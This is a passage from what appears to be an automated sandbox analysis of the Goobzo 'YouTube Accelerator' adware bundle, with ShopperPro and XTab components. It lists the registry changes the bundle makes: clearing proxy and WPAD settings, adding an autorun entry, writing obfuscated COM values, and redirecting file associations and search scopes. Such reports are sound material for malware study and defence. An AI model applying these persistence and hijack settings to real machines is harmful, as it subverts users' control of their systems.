"WpadDecisionTime" = "8C 77 06 4B 0A 48 D0 01"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "CD 26 C6 6C 0A 48 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "CD 26 C6 6C 0A 48 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process spbiu.exe:1216 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process spbiu.exe:992 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "E4 41 78 3F 08 74 A3 79 07 DC 97 44 E4 99 87 67"

The process GLJB423.tmp:2280 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process YouTubeAcceleratorService.exe:1204 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 3B A4 44 A3"

The process YouTubeAcceleratorService.exe:4060 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQyJjWvnbINNKeA"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1423886298"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 3B A4 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423886309"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"
"WpadNetworkName" = "Network 3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "2F 46 AD 75 0A 48 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAPW" = "6zjimKi4"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"
"TraceLevel" = "3"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "O|KiRVolh|ab@_w}Yu`gBISI`@Ndl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLUpdateFailed" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "2F 46 AD 75 0A 48 D0 01"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtdmRLXD[tLli@u"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "347a49ca-599a-449d-a352-8c5f411a5764"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "C2 AB DC 49 00 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZfB"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LYejbR\X|CYVpf@D`\[@|s\NDEsj@"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"
"XMLVersion" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "vyO3DXXU"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "dW}^"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "d1fff6f4-9b68-4327-a77d-371e4d5247a9"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:3016 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\TypeLib]
"(Default)" = "{da524058-bdb4-482a-997a-338ae04d7156}"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 3B A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\ProgID]
"(Default)" = "IMEAPI.CImeProductObjectJK.1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "53 A1 91 2B 00 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Version]
"(Default)" = "1.0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\VersionIndependentProgID]
"(Default)" = "IMEAPI.CImeProductObjectJK"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "CImeProductObject_JK Class"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "%SystemRoot%\SysWow64\ime\shared\imjkapi.dll"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process YouTubeAcceleratorService.exe:2812 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 3B A4 44 A3"

The process GLBB3D4.tmp:2756 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1423886283"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"
"ShowAds" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1423886283"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "88"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3394(build_88)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process XTab_v4.0.exe:4592 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
